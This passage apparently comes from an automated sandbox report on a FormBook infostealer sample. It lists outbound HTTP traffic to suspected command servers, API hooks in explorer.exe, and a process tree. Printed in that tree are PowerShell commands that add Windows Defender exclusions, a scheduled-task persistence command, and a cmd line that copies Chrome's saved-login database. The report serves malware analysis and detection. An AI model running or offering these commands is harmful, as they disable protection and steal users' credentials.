Jul 20, 2023 11:45:13.440005064 CEST	396	OUT	Data Raw: 4a 70 53 74 36 59 4f 6d 6c 56 53 52 74 51 72 63 37 67 71 44 68 37 76 78 41 72 44 5f 5a 57 42 50 72 71 79 2d 39 47 5a 76 43 54 6c 4d 6f 49 68 71 70 50 59 47 33 68 55 61 57 4f 42 73 6f 49 76 5f 62 6b 75 4b 68 34 59 48 6b 4d 67 6f 52 51 4c 53 36 66 Data Ascii: JpSt6YOmlVSRtQrc7gqDh7vxArD_ZWBPrqy-9GZvCTlMoIhqpPYG3hUaWOBsoIv_bkuKh4YHkMgoRQLS6fVuauYERp8dlVZk3KrO9T9MqAeN3mJ5l1eECThqHey1pVgxAzKH22aC5sI_T2DEuLn4l_hCfDBDxfrNxdK0zawIZVyQS_d8yVt1SHQNFgzD2j5vTy8Ed0mYeK267zioEfzyDdOu5tovcCQRW-GQfU5dyZbZ~GDCDVM
Jul 20, 2023 11:45:13.440033913 CEST	406	OUT	Data Raw: 64 52 68 41 6d 79 51 43 4f 37 39 6d 73 4a 4f 69 42 38 42 30 78 50 4f 59 78 65 5a 77 39 69 31 4f 49 45 7e 5f 58 57 6d 6f 62 31 67 46 42 56 4c 44 46 64 46 70 4f 77 53 50 44 42 75 78 6b 58 7e 78 68 69 7a 41 65 34 46 71 75 55 31 5a 38 52 59 63 43 4b Data Ascii: dRhAmyQCO79msJOiB8B0xPOYxeZw9i1OIE~_XWmob1gFBVLDFdFpOwSPDBuxkX~xhizAe4FquU1Z8RYcCKhE0HSiYX(HyGfpBVjnViNcyfe54zK4wEhjbP29IdN564Shw_w-qq~qpg7Kns3NG6Msrz(4wn6AB14nDJzAKMOo0VqCMHz-2EbFKjE8BdxPQJV-BbTTwAkEiURmnInq(DRy4PBiGUbLq1AzqcCugLrxc4JLqomPGui
Jul 20, 2023 11:45:13.489413977 CEST	481	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Date: Thu, 20 Jul 2023 09:45:13 GMT Location: https://www.ballthingsez.com/co63/ Server: Apache Content-Length: 242 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 61 6c 6c 74 68 69 6e 67 73 65 7a 2e 63 6f 6d 2f 63 6f 36 33 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ballthingsez.com/co63/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49720	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:33.908654928 CEST	482	OUT	GET /co63/?aJElwV=7844uNirl1OmKo/iz3P/xC/n+TlWcrf11+et7B27/2a6MTbhGvfvyecJXVPFAq5Jbxq/&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.dlafluid.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:45:34.316102028 CEST	482	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 20 Jul 2023 09:45:34 GMT Content-Type: text/html Content-Length: 291 ETag: "64b05e78-123" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xE4
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xE4
GetMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xE4
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xE4

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exePID: 6908, Parent PID: 3324

General

Target ID:	0
Start time:	11:43:05
Start date:	20/07/2023
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Imagebase:	0x980000
File size:	714'752 bytes
MD5 hash:	D72C3BB3172D13AC1CFC172C389E52E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: powershell.exePID: 6968, Parent PID: 6908

General

Target ID:	1
Start time:	11:43:15
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Imagebase:	0x800000
File size:	430'592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 6964, Parent PID: 6968

General

Target ID:	2
Start time:	11:43:15
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exePID: 7004, Parent PID: 6908

General

Target ID:	3
Start time:	11:43:15
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe
Imagebase:	0x800000
File size:	430'592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 492, Parent PID: 7004

General

Target ID:	4
Start time:	11:43:15
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exePID: 3096, Parent PID: 6908

General

Target ID:	5
Start time:	11:43:16
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmpE41B.tmp
Imagebase:	0xc30000
File size:	185'856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 1648, Parent PID: 3096

General

Target ID:	6
Start time:	11:43:16
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: hkkRsa.exePID: 5396, Parent PID: 1084

General

Target ID:	9
Start time:	11:43:18
Start date:	20/07/2023
Path:	C:\Users\user\AppData\Roaming\hkkRsa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hkkRsa.exe
Imagebase:	0xb50000
File size:	714'752 bytes
MD5 hash:	D72C3BB3172D13AC1CFC172C389E52E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs

Chronological Activities

Analysis Process: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exePID: 5416, Parent PID: 6908

General

Target ID:	10
Start time:	11:43:22
Start date:	20/07/2023
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Imagebase:	0xbe0000
File size:	714'752 bytes
MD5 hash:	D72C3BB3172D13AC1CFC172C389E52E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Chronological Activities

Analysis Process: schtasks.exePID: 3388, Parent PID: 5396

General

Target ID:	12
Start time:	11:43:32
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmp22F9.tmp
Imagebase:	0xc30000
File size:	185'856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exePID: 60, Parent PID: 3388

General

Target ID:	13
Start time:	11:43:32
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: hkkRsa.exePID: 6664, Parent PID: 5396

General

Target ID:	14
Start time:	11:43:33
Start date:	20/07/2023
Path:	C:\Users\user\AppData\Roaming\hkkRsa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hkkRsa.exe
Imagebase:	0x4f0000
File size:	714'752 bytes
MD5 hash:	D72C3BB3172D13AC1CFC172C389E52E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: explorer.exePID: 3324, Parent PID: 6664

General

Target ID:	15
Start time:	11:43:35
Start date:	20/07/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69bc80000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exePID: 6192, Parent PID: 3324

General

Target ID:	16
Start time:	11:43:48
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0x1330000
File size:	61'952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

Chronological Activities

Analysis Process: cmd.exePID: 6452, Parent PID: 6192

General

Target ID:	17
Start time:	11:43:57
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Imagebase:	0x11d0000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exePID: 6392, Parent PID: 6452

General

Target ID:	18
Start time:	11:43:57
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language